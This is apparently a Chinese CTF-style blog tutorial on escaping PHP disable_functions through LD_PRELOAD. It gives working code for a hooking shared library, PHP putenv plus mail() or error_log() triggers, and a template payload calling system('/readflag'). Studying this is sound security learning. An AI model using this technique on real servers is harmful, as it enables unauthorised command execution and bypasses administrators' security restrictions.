PRE_LOAD

在 linux 中, PRE_LOAD 可以定义预先加载的共享库文件。设置预先加载的库文件的方法:

  1. 编译一个共享库文件
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so

-fPIC告诉编译器产生与位置无关代码,则产生的代码中使用的全部是相对位置而不是绝对位置,因此代码可以被加载到内存中的任意位置并且可以正确地执行,这是共享库要求的,共享库被加载的时候在内存中的位置是不一定的。
2. 通过 export 设置环境变量

export LD_PRELOAD=./test.so
  1. 一个实例
    编写一个文件 test.c
#include<sys/types.h>
#include<dlfcn.h>
#include<unistd.h>uid_t geteuid(void) {return 0;}
uid_t getuid(void) {return 0;}
uid_t getgid(void) {return 0;}

按照上面的命令把文件编译成一个共享库文件,并且设置为环境变量,然后我们再执行id命令,得到的结果返回的 id 值会变成 0,也就是说我们的共享库文件被预先加载了

  1. 查看命令调用的共享库文件和库函数
ldd /usr/bin/id  # 查看命令调用的库文件
readelf -Ws /usr/bin/id  # 查看命令调用的库函数

我们一般是找到想要利用的命令调用的库函数,然后再库函数本来的原型上重新写一个带有攻击性的函数,并且将这个文件编译成共享库文件。

putenv

php 中一般使用 putenv 来设置环境变量

putenv("LD_PRELOAD=/var/www/html/test.so")

加上这一句话就达到了上面 export效果

一般的攻击流

只要找到可以利用的上层函数一般就可以利用了

  1. 找到调用这个上层函数时所要调用的系统进程
    在 linux 中,进程不能直接访问硬件设备,当进程需要访问硬件设备 (比如说从磁盘读取文件、读取网络数据)时,必须要通过系统调用。
strace # 可以跟踪进程执行时的系统调用和所接收的信息
-f # 这个参数可以跟踪到fork出来的子进程

假设我们跟踪的是 php 中的 mail()函数,创建下面的文件:

<?phpmail("a","b","c","d");
?>

跟踪命令:

strace -f php mail.php 2>&1 | grep -A3 -B3 execve

可以看到子进程 /usr/sbin/sendmail

  1. 查看子进程调用的库函数
readelf -Ws /usr/sbin/sendmail

一般选择比较简单且常用的库函数来进行利用,比如说 void getuid(void){}
查看函数原型,然后再根据需要创建一个文件并且重写这个函数就行了。

  1. 上传.so 文件到网站,然后在文件中按下面的方式声明就好:
<?phpputenv("LD_PRELOAD=/var/www/html/test.so");mail("a","b","c","d");
?>

最后访问这个 php 文件即可

如果网站 ban 掉了 mail()函数,我们可以关注 error_log()函数,这个函数向我们发送错误信息。

  1. error_log()函数
    一些情况下,phpbanmail函数,那么这种情况下,我们可以尝试以下errorlog()函数,这个函数有四个参数:
error_log(message, message_type, destination, extra_headers)# message表示要记录的错误信息
# message_type主要有四类
#    0:发送到php系统日志
#    1:发送到参数destination设置的地址,第四个参数extra_headers只有在这个情况下会被用到
#    2:不再是一个选项
#    3:被发送到destination的地址
#    4:message直接发送到SAPI的日志处理程序
# destination是在message_type设为1或者3时message被发送的地址
# extra_headers只有在message_type设为1时才会被用到

这个函数的利用点就在于当 message_type 设为 1 时,extra_headers 会调用一个 mail()的内置函数,启动 sendmail 这个进程, 这个进程会调用 getuid()这个库函数。此时,我们就可以编写.so文件实现任意命令执行了。

  1. 一般的恶意共享库文件的格式
#include<stdlib.h>
#include<stdio.h>
#include<string.h>void payload(){system("/readflag > result.txt");
}int getuid(void){unsetenv("LD_PRELOAD");payload();
}

system函数中,我们就可以执行想要执行的命令了。

(如有侵权,联系删除)

PRE_LOAD+putenv相关推荐

  1. linux c 环境变量函数 getenv putenv 简介

    环境变量相关函数: getenv()和putenv() 程序功能:编写一个程序来打印所选的任意环境变量的值:如果给程序传递第二个参数,还设置环境变量的值 #include <stdlib.h&g ...

  2. 进程环境详解(四)---getenv、putenv和setenv函数详解

    在Linux中的c程序的典型内存分布中,之前提到的有 text段.data段.bss段.堆和栈这几部分,在笔记"麦子学院c语言->典型c语言程序的c内存分布"中介绍了.但是其 ...

  3. linux编程:getenv,putenv,setenv

    1.getenv 头文件 #include<stdlib.h> 函数原型 char * getenv(const char *name); 函数说明 getenv()用来取得参数name环 ...

  4. linux服务器部署laravel出现putenv() has been disabled for security reasons

    putenv() has been disabled for security reasons 进入 www/serve/php/72/etc 找到 disable_functions后面的函数,删除 ...

  5. python os.environ windows_python 获取系统环境变量 os.environ and os.putenv

    从一段code说起 "if "BATCH_CONFIG_INI" in os.environ:" 判断环境变量的值有没有定义 如果定义的话就去环境变量的值,否则 ...

  6. l33t-hoster .htaccess \x00注释putenv绕过disable_function计算c代码

    源码 <?php if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if ( ...

  7. 配置环境变量的方法:putenv和setenv函数区别

    ​日常中我们经常会在linux环境上配置环境变量,那么linux上配置环境变量的方法有哪些呢? 1.直接用export命令: eg:​ export PATH=$PATH:/opt/build_too ...

  8. linux getenv函数 get,linux之getenv putenv setenv和unsetenv详解

    1.getenv函数 头文件:#include 函数原型: char * getenv(const char* name); 函数说明:getenv()用来取得参数name环境变量的内容. 函数参数: ...

  9. python获取系统环境变量|os.environ|os.putenv|cmd添加环境变量

    文章目录 1. 背景介绍 2. python|os.environ代码 3. 添加环境变量的其他方式: 1. "系统设置"--"环境变量" 2. pycharm ...

最新文章

  1. C++ const 理解
  2. _id 和 ObjectId
  3. hdu 2072 单词数
  4. 使用SAP portal service创建Fiori Launchpad
  5. CSS之media Query
  6. 如何将本地代码推送至远程仓库
  7. OKHttp源码解析(1)----整体流程
  8. 单片机编程软件很简单(19),keil单片机编程软件3点介绍
  9. java做求立方体,Java工具集-数学(立方体操作工具类)
  10. ADI 485芯片型号
  11. FPGA学习.7——DDS信号发生器
  12. 新萝卜家园 GhostXP SP3 电脑城装机版 V2011.07
  13. Eclipse读取properties文件中文乱码问题
  14. Lawnmower(除草)
  15. TreeMap用法 示例
  16. 钉钉e应用点击按钮触发两次点击事件的解决办法
  17. MySQL提示:The server quit without updating PID file问题的解决办法
  18. osgEarth的Rex引擎原理分析(九十)如何设置高度单位(m、km等)
  19. SpringBoot不同角色显示不同的菜单
  20. Tuxedo基本命令和Tuxedo的ubb文件详解

热门文章

  1. android setContentView(R.layout.main) 语法错误
  2. Ubuntu16.04安装Nvidia显卡驱动(cuda)
  3. iOS 用 AVPlayer 播放一个本地音频文件
  4. 华为HCIP题库和考试相关注意事项
  5. 安装php apcu扩展
  6. 矩阵公式tr(AA')=tr(A'A)/tr(AA^T)=tr(A^TA)的推导
  7. R语言读取 xlsx 和xls 文件
  8. 备忘录模式及其实现场景
  9. 软件评测:比较CSDN和博客园
  10. Centos 7--pdf2htmlEX安装和配置